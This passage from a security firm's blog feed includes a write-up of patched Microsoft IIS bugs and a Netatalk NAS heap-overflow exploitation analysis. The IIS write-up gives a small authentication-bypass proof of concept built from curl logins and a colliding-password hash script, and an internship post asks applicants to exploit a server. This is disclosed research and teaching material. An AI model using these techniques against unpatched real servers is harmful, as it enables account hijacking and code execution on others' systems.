<li>戴夫寇爾保有修改、暫停或終止本贊助計畫之權利。</li> </ul> </li> </ul> https://devco.re/blog/2022/08/26/2022-devcore-national-cyber-security-scholarship/ https://devco.re/blog/2022/08/26/2022-devcore-national-cyber-security-scholarship Fri, 26 Aug 2022 00:00:00 +0800 Let's Dance in the Cache - Destabilizing Hash Table on Microsoft IIS <p>Hi, this is my fifth time speaking at <a href="https://www.blackhat.com/us-22/briefings/schedule/index.html#lets-dance-in-the-cache---destabilizing-hash-table-on-microsoft-iis-27199">Black Hat USA</a> and <a href="https://forum.defcon.org/node/241837">DEFCON</a>. You can get the slide copy and video there:</p> <ul> <li><a href="https://i.blackhat.com/USA-22/Wednesday/US-22-Tsai-Lets-Dance-in-the-Cache-Destabilizing-Hash-Table-on-Microsoft-IIS.pdf">Let’s Dance in the Cache - Destabilizing Hash Table on Microsoft IIS (slides)</a></li> <li><a href="#TBD">Let’s Dance in the Cache - Destabilizing Hash Table on Microsoft IIS (video - TBD)</a></li> </ul> <p>As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS.</p> <p>Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore, <strong>this research mainly focuses on the Hash Table implementation and its usage</strong>. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related!</p> <p>Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog.</p> <ul> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22025">CVE-2022-22025</a> - Microsoft IIS Hash-Flooding DoS</li> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22040">CVE-2022-22040</a> - Microsoft IIS Cache Poisoning Attack</li> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30209">CVE-2022-30209</a> - Microsoft IIS Authentication Bypass</li> </ul> <p><br /></p> <p><em>P.S. All vulnerabilities addressed in this blog have been reported responsibly to Microsoft and patched in July 2022.</em></p> <h2 id="1-iis-hash-flooding-dos">1. IIS Hash-Flooding DoS</h2> <p>It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation to <strong>amplify our power by over 10 times to defeat the guardian by zero hashes</strong>. Through this bug we can <strong>make a default installed IIS Server unresponsive</strong> with about 30 connections per second!</p> <p>Because this bug also qualifies for the <a href="https://www.microsoft.com/en-us/msrc/bounty-windows-insider-preview">Windows Insider Preview Bounty Program</a>, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service!</p> <p>You can check the full demo video here:</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/VtnDkzYPNCk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h2 id="2-iis-cache-poisoning-attack">2. IIS Cache Poisoning Attack</h2> <p>Compared with other <a href="https://portswigger.net/research/practical-web-cache-poisoning">marvelous Cache Poisoning research</a>, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks.</p> <p>Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore, <strong>a classic HTTP Parameter Pollution can make IIS cache the wrong result</strong>!</p> <h2 id="3-iis-authentication-bypass">3. IIS Authentication Bypass</h2> <p>This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and <a href="https://patents.google.com/patent/US6578131">patented</a> by Microsoft in 1997. It’s based on <a href="https://en.wikipedia.org/wiki/Linear_hashing">Linear Hashing</a> and created by <a href="https://en.wikipedia.org/wiki/Paul_Larson">Paul Larson</a> of Microsoft Research, Murali Krishnan and George Reilly of the IIS team.</p> <p>LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extensibility creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CLKRHashTable</span><span class="o">::</span><span class="n">CLKRHashTable</span><span class="p">(</span> <span class="n">this</span><span class="p">,</span> <span class="s">"TOKEN_CACHE"</span><span class="p">,</span> <span class="c1">// An identifier for debugging</span> <span class="n">pfnExtractKey</span><span class="p">,</span> <span class="c1">// Extract key from record</span> <span class="n">pfnCalcKeyHash</span><span class="p">,</span> <span class="c1">// Calculate hash signature of key</span> <span class="n">pfnEqualKeys</span><span class="p">,</span> <span class="c1">// Compare two keys</span> <span class="n">pfnAddRefRecord</span><span class="p">,</span> <span class="c1">// AddRef in FindKey, etc</span> <span class="mi">4</span><span class="p">.</span><span class="mi">0</span><span class="p">,</span> <span class="c1">// Bound on the average chain length.</span> <span class="mi">1</span><span class="p">,</span> <span class="c1">// Initial size of hash table.</span> <span class="mi">0</span><span class="p">,</span> <span class="c1">// Number of subordinate hash tables.</span> <span class="mi">0</span> <span class="c1">// Allow multiple identical keys?</span> <span class="p">);</span> </code></pre></div></div> <p>Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs.</p> <p>If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific <code class="language-plaintext highlighter-rouge">pfnEqualKeys</code> function to determine whether the key is correct or not. The application-specific logic of <code class="language-plaintext highlighter-rouge">TokenCacheModule</code> is as follows:</p> <p><img src="/assets/img/blog/20220818/1.png" alt="" /></p> <p>As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice.</p> <p>I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forgot to replace the variable name. That leads to that <strong>an attacker can reuse another user’s logged-in token with random passwords</strong>.</p> <p>To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># add a test account, please ensure to remove that after testing</span> <span class="o">&gt;</span> net user orange test-for-CVE-2022-30209-auth-bypass /add <span class="c"># the source of login is not important, this can be done outside IIS.</span> <span class="o">&gt;</span> curl <span class="nt">-I</span> <span class="nt">-su</span> <span class="s1">'orange:test-for-CVE-2022-30209-auth-bypass'</span> <span class="s1">'http://&lt;iis&gt;/protected/'</span> | findstr HTTP HTTP/1.1 200 OK </code></pre></div></div> <p>Under the attacker’s terminal:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># script for sanity check</span> <span class="o">&gt;</span> <span class="nb">type </span>test.py def HashString<span class="o">(</span>password<span class="o">)</span>: j <span class="o">=</span> 0 <span class="k">for </span>c <span class="k">in </span>map<span class="o">(</span>ord, password<span class="o">)</span>: j <span class="o">=</span> c + <span class="o">(</span>101<span class="k">*</span>j<span class="o">)</span>&amp;0xffffffff <span class="k">return </span>j assert HashString<span class="o">(</span><span class="s1">'test-for-CVE-2022-30209-auth-bypass'</span><span class="o">)</span> <span class="o">==</span> HashString<span class="o">(</span><span class="s1">'ZeeiJT'</span><span class="o">)</span> <span class="c"># before the successful login</span> <span class="o">&gt;</span> curl <span class="nt">-I</span> <span class="nt">-su</span> <span class="s1">'orange:ZeeiJT'</span> <span class="s1">'http://&lt;iis&gt;/protected/'</span> | findstr HTTP HTTP/1.1 401 Unauthorized <span class="c"># after the successful login</span> <span class="o">&gt;</span> curl <span class="nt">-I</span> <span class="nt">-su</span> <span class="s1">'orange:ZeeiJT'</span> <span class="s1">'http://&lt;iis&gt;/protected/'</span> | findstr HTTP HTTP/1.1 200 OK </code></pre></div></div> <p>As you can see, the attacker can log into the user <code class="language-plaintext highlighter-rouge">orange</code> with another password whose hash is the same as the original one.</p> <p>However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries!</p> <p>To make this bug more practical, we proposed several ways to win the lottery, such as:</p> <ol> <li>Increase the odds of the collision - LKRHash combined LCGs to scramble the result to make the hash more random. However, we can lower the key space because the LCG is not one-to-one mapping under the 32-Bit Integer. There must be results that will never appear so that we can pre-compute a dictionary that excludes the password whose hash is not in the results and <strong>increase the success rate by 13% at least</strong>!</li> <li>Regain the initiative - By understanding the root cause, we brainstorm several use cases that <strong>can cache the token in memory forever and no longer wait for user interaction</strong>, such as the IIS feature <a href="https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/iis/www-authentication-authorization/understanding-identities">Connect As</a> or leveraging software design patterns.</li> </ol> <p>We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated <code class="language-plaintext highlighter-rouge">Exchange Active Monitoring</code> service, we can enter <code class="language-plaintext highlighter-rouge">HealthMailbox</code>’s mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together!</p> <p><img src="/assets/img/blog/20220818/2.png" alt="" /></p> <h1 id="timeline">Timeline</h1> <ul> <li>Mar 16, 2022 - We reported the IIS Cache Poisoning to Microsoft through the MSRC portal.</li> <li>Apr 09, 2022 - We reported the IIS Hash-Flooding DoS to Microsoft through the MSRC portal.</li> <li>Apr 10, 2022 - We reported the IIS Authentication Bypass to Microsoft through the MSRC portal.</li> <li>Jul 12, 2022 - Microsoft fixed everything at July’s Patch Tuesday.</li> </ul> https://devco.re/blog/2022/08/18/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis/ https://devco.re/blog/2022/08/18/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis Thu, 18 Aug 2022 00:00:00 +0800 DEVCORE 2022 第二屆實習生計畫 <p>DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大<a href="https://devco.re/company/jobs/">徵才</a>,想找尋有著相同理念的人才一起奮鬥;今年年初,我們開始嘗試舉辦第一屆實習生計畫,希望培育人才、增強新世代的資安技能,最終成果也超乎預期。於是我們決定在今年 9 月進行第二屆實習生計畫,如果您對這個計畫有興趣,歡迎來信報名!</p> <!-- more --> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Binary 及 Web 兩個組別,主要內容如下:</p> <ul> <li>Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit 理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 70 %</li> <li>1-day 開發 (Exploitation) 30 %</li> </ul> </li> <li>Web 主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。 <ul> <li>漏洞及攻擊手法研究 70%</li> <li>建置 Lab 30%</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2022 年 9 月開始到 2023 年 2 月底,共 6 個月。 <ul> <li>備註:若應徵人數過多,我們評估無法在 08/26 前決定人選。整體實習時間將會順延一至兩週,屆時會提早發信通知所有應徵者。</li> </ul> </li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>每週固定一天下午 14:00 - 18:00 必須到公司討論進度</li> <li>其餘時間皆為遠端作業</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <p>大專院校大三(含)以上具有一定程度資安背景的學生</p> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Binary 組:2~3 人</li> <li>Web 組:2~3 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 16,000 元</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="binary">Binary</h4> <ul> <li>基本逆向工程及除錯能力 <ul> <li>能看懂組合語言並瞭解基本 Debugger 使用技巧</li> </ul> </li> <li>基本漏洞利用能力 <ul> <li>須知道 Stack overflow、ROP 等相關利用技巧</li> </ul> </li> <li>基本 Scripting Language 開發能力 <ul> <li>Python、Ruby</li> </ul> </li> <li>具備分析大型 Open Source 專案能力 <ul> <li>以 C/C++ 為主</li> </ul> </li> <li>具備基礎作業系統知識 <ul> <li>例如知道 Virtual Address 與 Physical Address 的概念</li> </ul> </li> <li>Code Auditing <ul> <li>知道怎樣寫的程式碼會有問題 <ul> <li>Buffer Overflow</li> <li>Use After free</li> <li>Race Condition</li> <li>…</li> </ul> </li> </ul> </li> <li>具備研究熱誠,習慣了解技術本質</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>樂於分享技術 <ul> <li>有公開的技術 blog/slide、Write-ups 或是演講</li> </ul> </li> <li>精通 IDA Pro 或 Ghidra</li> <li>有寫過 1-day 利用程式</li> <li>具備下列其中之一經驗 <ul> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="web">Web</h4> <ul> <li>熟悉 OWASP Web Top 10。</li> <li>理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。 <ul> <li>參考連結:https://portswigger.net/web-security/all-materials</li> </ul> </li> <li>理解計算機網路的基本概念。</li> <li>熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。</li> <li>熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。</li> <li>具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。</li> <li>具備追根究柢的精神。</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞。</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day exploit。</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目。</li> <li>擁有 OSCP 證照或同等能力之證照。</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為二個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>履歷資格審查</li> <li>問答題答案(共 2 題,各組別題目不同,詳見下方<a href="/blog/2022/07/25/2nd-internship-program-recruit/#:~:text=題目如下">報名方式</a>)</li> </ul> <p>我們會根據您的履歷及所回答的內容來決定是否有通過第一階段,會在七個工作天內回覆。</p> <h4 id="第二階段面試">第二階段:面試</h4> <p>此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h3 id="報名方式">報名方式</h3> <ul> <li>請將您的<strong>履歷</strong>及<strong>題目答案</strong>以 PDF 格式寄到 [email protected] <ul> <li>履歷格式請參考範例示意(<a href="/assets/files/recruit/Resume_Example.docx">DOCX</a>、<a href="/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。</li> <li>請於 2022/08/12(五)23:59 前寄出(如果名額已滿則視情況提早結束)</li> </ul> </li> <li>信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)</li> <li>履歷內容請務必控制在三頁以內,至少需包含以下內容: <ul> <li>基本資料</li> <li>學歷</li> <li>實習經歷</li> <li>社群活動經歷</li> <li>特殊事蹟</li> <li>過去對於資安的相關研究</li> <li>對於這份實習的期望</li> <li>MBTI 職業性格測試結果(<a href="https://www.apesk.com/mbti/dati_tw.asp">測試網頁</a>)</li> </ul> </li> <li>題目如下,請依照欲申請之組別回答 <ul> <li>Binary <ul> <li>簡答題 <ul> <li>假設你今天要分析一台印表機 <ul> <li>你會如何去分析 ?</li> <li>你覺得有哪些地方可能會發生問題導致攻擊者可以獲得印表機控制權? 為什麼 ?</li> </ul> </li> </ul> </li> <li>實作題目 <ul> <li><a href="/assets/files/recruit/binary/2022_Intern_Challenge.zip">題目檔案</a> <ul> <li>為一個互動式的 Server,可透過網路連線與之互動。</li> </ul> </li> <li>請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。 <ul> <li>漏洞可能有很多,不一定每個都可以利用。</li> </ul> </li> <li>請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。</li> </ul> </li> </ul> </li> <li>Web <ul> <li>當你在網頁瀏覽器的網址列上輸入一串網址(例如:<code class="language-plaintext highlighter-rouge">http://site.fake.devco.re/index.php?foo=bar</code>),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。</li> <li>請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2022 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響,以及所對應到的 OWASP Top 10 / CWE 類別。</li> <li>(上述題目建議撰寫 1~2 頁即可)</li> </ul> </li> </ul> </li> </ul> <p>若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2022/07/25/2nd-internship-program-recruit/ https://devco.re/blog/2022/07/25/2nd-internship-program-recruit Mon, 25 Jul 2022 00:00:00 +0800 Your NAS is not your NAS ! <p><a href="/blog/2022/03/28/your-NAS-is-not-your-NAS-en/">English Version</a> <a href="/blog/2022/03/28/your-NAS-is-not-your-NAS/">中文版本</a></p> <p>前年我們在 Synology 的 NAS 中發現了 <a href="https://www.zerodayinitiative.com/advisories/ZDI-21-492/">Pre-auth RCE 的漏洞(CVE-2021-31439)</a>,並在 Pwn2Own Tokyo 中取得了 Synology DS418 play 的控制權,而成功獲得 Pwn2Own 的點數,後續也發現這個漏洞不只存在 Synology 的 NAS,也同時存在多數廠牌的 NAS 中,這篇研究將講述這漏洞的細節及我們的利用方式。</p> <p>此份研究亦發表於 <a href="https://hitcon.org/2021/">HITCON 2021</a>,你可以從<a href="https://hitcon.org/2021/agenda/03f06675-261d-4c97-b524-33ef9cc6ccb2/%E4%BD%A0%E7%9A%84%20NAS%20%E4%B8%8D%E6%98%AF%E4%BD%A0%E7%9A%84%20NAS%20!.pdf">這裡</a>取得投影片!</p> <h2 id="network-attached-storage">Network Attached Storage</h2> <p>早期 NAS 一般用途為讓伺服器本身與資料分開也為了做異地備援而使用的設備,功能上主要單純讓使用者可以直接在網路上存取資料及分享檔案,現今的 NAS 更是提供多種服務,不止檔案分享更加方便,也與 IoT 的環境更加密切,例如 SMB/AFP 等服務,可輕易的讓不同系統的電腦分享檔案,普及率也遠比以前高很多。</p> <p>現今的 NAS,也可裝上許多套件,更是有不少人拿來架設 Server,在這智慧家庭的年代中,更是會有不少人與 home assistant 結合,使得生活更加便利。</p> <p><img src="/assets/img/blog/20220328/1.png" alt="" /></p> <h2 id="motivation">Motivation</h2> <h3 id="為何我們要去研究-nas-呢-">為何我們要去研究 NAS 呢 ?</h3> <h4 id="紅隊需求">紅隊需求</h4> <p>過去在我們團隊在執行紅隊過程中,NAS 普遍會出現在企業的內網中,有時更會暴露在外網,有時更會存放不少企業的機密資料在 NAS 上,因此 NAS 漸漸被我們關注,戰略價值也比以往高很多。</p> <h4 id="勒索病毒">勒索病毒</h4> <p>近年來因為 NAS 日益普及,常被拿來放個人的重要資料,使 NAS 成為了勒索病毒的目標,通常駭客組織都會利用漏洞入侵 NAS 後,將存放在 NAS 中的檔案都加密後勒索,而今年年初才又爆發一波 locker 系列的事件,我們希望可以減少類似的事情再次發生,因而提高 NAS 研究的優先程度,來增加 NAS 安全性。也為了我們實現讓世界更安全的理想。</p> <h4 id="pwn2own-mobile-2020">Pwn2Own Mobile 2020</h4> <p>最後一點是 NAS 從 2020 開始,成為了 Pwn2Own Mobile 的主要目標之一,又剛好前年我們也想嘗試挑戰看看 Pwn2Own 的舞台,所以決定以 NAS 作為當時研究的首要目標,前年 Pwn2Own 的目標為 Synology 及 WD ,由於 Synology 為台灣企業常見設備,所以我們最後選擇了 Synology 開始研究。</p> <h2 id="recon">Recon</h2> <h3 id="environment">Environment</h3> <ul> <li>DS918+</li> <li>DSM 6.2.3-25426</li> </ul> <p>我們的測試環境是 DS918+ 與 Pwn2own 目標極為類似的型號,我們為了更佳符合平常會遇到的環境以及 Pwn2Own 中要求,會是全部 default setting 的狀態。</p> <h3 id="attack-surface">Attack surface</h3> <p><img src="/assets/img/blog/20220328/2.png" alt="" /></p> <p>首先可先用 netstat 看 tcp 和 udp 中有哪些 port 是對外開放,可以看到 tcp 及 udp 中 在 default 環境下,就開了不少服務,像是 tcp 的 smb/nginx/afpd 等</p> <p><img src="/assets/img/blog/20220328/3.png" alt="" /></p> <p>而 udp 中則有 minissdpd/findhost/snmpd 等,多數都是一些用來幫助尋找設備的協定。</p> <p>我們這邊挑了幾個 Service 做初步的分析</p> <h4 id="dsm-web-interface">DSM Web interface</h4> <p>首先是 DSM Web 介面,最直覺也最直接的一部分,這部分大概也會是最多人去分析的一塊,有明顯的入口點,在古老時期常有 command injection 漏洞,但後來 Synology 有嚴格規範後徹底改善這問題,程式也採用相對保守的方式開發,相對安全不少。</p> <h4 id="smb">SMB</h4> <p>Synology 中的 SMB 協定,使用的是 Open Source 的 <a href="https://www.samba.org/">Samba</a> ,因使用的人眾多,進行 code review 及漏洞挖掘的人也不少,使得每年會有不少小洞,近期最嚴重的就是 <a href="https://www.samba.org/samba/security/CVE-2017-7494.html">SambaCry</a>,但由於較多人在 review 安全性相對也比其他服務安全。</p> <h4 id="iscsi-manager">iSCSI Manager</h4> <p>主要協助使用者管理與監控 iSCSI 服務,由 Synology 自行開發,近期算比較常出現漏洞的地方,但需要花不少時間 Reverse ,不過是個不錯的目標,如果沒有其他攻擊面,可能會優先分析。</p> <h4 id="netatalk">Netatalk</h4> <p>最後一個要提的是 Netatalk 也就是 afp 協定,基本上沒什麼改,大部分沿用 open source 的 Netatalk,近期最嚴重的漏洞為 2018 的 Pre-auth RCE (CVE-2018-1160),關於這漏洞可參考 <a href="https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172">Exploiting an 18 Year Old Bug</a> ,Netatalk 相對其他 Service 過去的漏洞少非常多,是比較少被注意到的一塊,並且已經長時間沒在更新維護。</p> <p>我們經過整體分析後, 認為 Netatalk 也會是 Synology 中最軟的一塊,且有 <a href="http://netatalk.sourceforge.net/">Source code</a> 可以看,所以我們最後決定先分析他。當然也還有其他 service 跟攻擊面,不過這邊由於篇幅因素及並沒有花太多時間去研究就不一一分析介紹了。我們這次的重點就在於 Netatalk。</p> <h2 id="netatalk-1">Netatalk</h2> <p>Apple Filing Protocol (AFP) 是個類似 SMB 的檔案傳輸協定,提供 Mac 來傳輸及分享檔案,因 Apple 本身並沒有開源,為了讓 Unlx like 的系統也可以使用,於是誕生了 Netatalk,Netatalk 是個實作 Mac 的 AFP 協定的 OpenSource 專案,為了讓 Mac 可以更方便的用 NAS 來分享檔案,幾乎每一廠牌的 NAS 都會使用。</p> <h3 id="netatalk-in-synology">Netatalk in Synology</h3> <p>Synology 中的 netatalk 是預設開啟,版本是改自 3.1.8 的 netatalk,並且有在定期追蹤安全性更新,只要剛裝好就可以用 afp 協定來與 Synology NAS 分享檔案,而 binary 本身保護有 ASLR/NX/StackGuard。</p> <p><img src="/assets/img/blog/20220328/4.png" alt="" /></p> <h4 id="dsi">DSI</h4> <p>講漏洞之前,先帶大家來看一下 netatalk 中,部分重要結構,首先是 DSI,Netatalk 在連線時是使用的 DSI (Data Stream interface) 來傳遞資訊,Server 跟 Client 都是通過 DSI 這個協定來溝通,每個 connection 的 packet 都會有 DSI 的 header 在 packet 前面</p> <p>DSI Packet Header :</p> <p><img src="/assets/img/blog/20220328/5.png" alt="" /></p> <p>DSI 封包中內容大致上會如上圖所示,會有 Flag/Command 等等 metadata 以及 payload 通常就會是一個 DSI Header + payload 的結構</p> <p>AFP over DSI :</p> <p><img src="/assets/img/blog/20220328/6.png" alt="" /></p> <p>afp 協定的通訊過程大概如上圖所示,使用 AFP 時,client 會先去拿 server 資訊,來確定有哪些認證的方式還有使用的版本等等資訊,這個部分可以不做,然後會去 Open Session 來,開啟新的 Session,接著就可以執行 AFP 的 command ,但在未認證之前,只可以做登入跟登出等相關操作,我們必須用 login 去驗證使用者身份,只要權限沒問題接下來就可像 SMB 一樣做檔案操作</p> <p>在 Netatalk 實作中,會用 dsi_block 作為封包的結構</p> <p>dsi_block :</p> <p><img src="/assets/img/blog/20220328/7.png" alt="" /></p> <ul> <li>dsi_flag 就是指該 packet 是 request or reply</li> <li>dsi_command 表示我們的 request 要做的事情 <ul> <li>DSICloseSession</li> <li>DSICommand</li> <li>DSIGetStatus</li> <li>DSIOpenSession</li> </ul> </li> <li>dsi_code <ul> <li>Error code</li> <li>For reply</li> </ul> </li> <li>dsi_doff <ul> <li>DSI data offset</li> <li>Using in DSIWrite</li> </ul> </li> <li>dsi_len <ul> <li>The Length of Payload</li> </ul> </li> </ul> <p>DSI : A descriptor of dsi stream</p> <p><img src="/assets/img/blog/20220328/8.png" alt="" /></p> <p>在 netatalk 中,除了原始封包結構外,也會將封包及設定檔 parse 完後,將大部分的資訊,存放到另外一個名為 DSI 結構中,例如 server_quantum 及 payload 內容等,以便後續的操作。</p> <p><img src="/assets/img/blog/20220328/9.png" alt="" /></p> <p>而封包中的 Payload 會存放在 DSI 中 command 的 buffer 中,該 buffer 大小,取自於 server_quantum,該數值則是取自於 afp 的設定檔 afp.conf 中。</p> <p><img src="/assets/img/blog/20220328/10.png" alt="" /></p> <p>如果沒特別設定,則會取用 default 大小 0x100000。</p> <p>有了初步了解後,我們可以講講漏洞。</p> <h3 id="vulnerability">Vulnerability</h3> <p><img src="/assets/img/blog/20220328/11.png" alt="" /></p> <p>我們發現的漏洞就發生在,執行 dsi command 時,讀取 payload 內容發生了 overflow,此時並不需登入就可以觸發。問題函式是在 dsi_stream_receive</p> <p><img src="/assets/img/blog/20220328/12.png" alt="" /></p> <p>這是一個將接收到封包的資訊 parse 後放到 DSI 結構的 function,這個 function 接收封包資料時,會先根據 header 中的 <code class="language-plaintext highlighter-rouge">dsi_len</code> 來決定要讀多少資料到 command buffer 中,而一開始有驗證<code class="language-plaintext highlighter-rouge">dsi_cmdlen</code> 不可超過 server quantum 也就是 command buffer 大小。</p> <p><img src="/assets/img/blog/20220328/13.png" alt="" /></p> <p>然而如上圖黃匡處,如果有給 <code class="language-plaintext highlighter-rouge">dsi_doff</code> ,則會將 <code class="language-plaintext highlighter-rouge">dsi_doff</code> 作為 cmdlen 大小,但這邊卻沒去檢查是否有超過 command buffer。</p> <p><img src="/assets/img/blog/20220328/14.png" alt="" /></p> <p>使得 <code class="language-plaintext highlighter-rouge">dsi_strem_read</code> 以這個大小來讀取 paylaod 到 command buffer 中,此時 command buffer 大小為 0x100000,如果 <code class="language-plaintext highlighter-rouge">dsi_doff</code> 大小超過 0x100000 就會發生 heap overflow。</p> <h3 id="exploitation">Exploitation</h3> <p>由於是 heap overflow,所以我們這邊必須先理解 heap 上有什麼東西可以利用,在 DSM 中的 Netatalk 所使用的 Memory Allocator 是 glibc 2.20,而在 glibc 中,當 malloc 大小超過 0x20000 時,就會使用 mmap 來分配記憶體空間,而我們在 netatalk 所使用的大小則是 0x100000 超過 0x20000 因此會用 mmap 來分配我們的 command buffer。</p> <p><img src="/assets/img/blog/20220328/15.png" alt="" /></p> <p>因為是以 mmap 分配的關係,最後分配出來的空間則會在 Thread Local Storage 區段上面,而不是在正常的 heap segment 上,如上圖的紅框處。</p> <p><img src="/assets/img/blog/20220328/16.png" alt="" /></p> <p>afpd 的 memory layout 如上圖所示,上述紅框那塊就是,紅色+橘色這區段,在 command buffer 下方的是 Thread-local Storage。</p> <h4 id="thread-local-storage">Thread-local Storage</h4> <p>Thread-local Storage(TLS) 是用來存放 thread 的區域變數,每個 thread 都會有自己的 TLS,在 Thread 建立時就會分配,當 Thread 結束的時候就會釋放,而 main thread 的 TLS 則會在 Process 建立時就會分配,如前面圖片中的橘色區段,因此我們可利用 heap overflow 的漏洞來覆蓋掉大部分存放在 TLS 上的變數。</p> <h4 id="target-in-tls">Target in TLS</h4> <p>事實上來說 TLS 可控制 RIP 的變數有不少,這邊提出幾個比較常見的</p> <ul> <li>第一個是 main arena,主要是 glibc 記憶體管理個結構,改 main arena 可以讓記憶體分配到任意記憶體位置,做任意寫入,但構造上比較麻煩。</li> <li>第二個是 pointer guard 可藉由修改 pointer guard 來改變原本呼叫的 function pointer ,但這邊需要先有 leak 跟知道原本 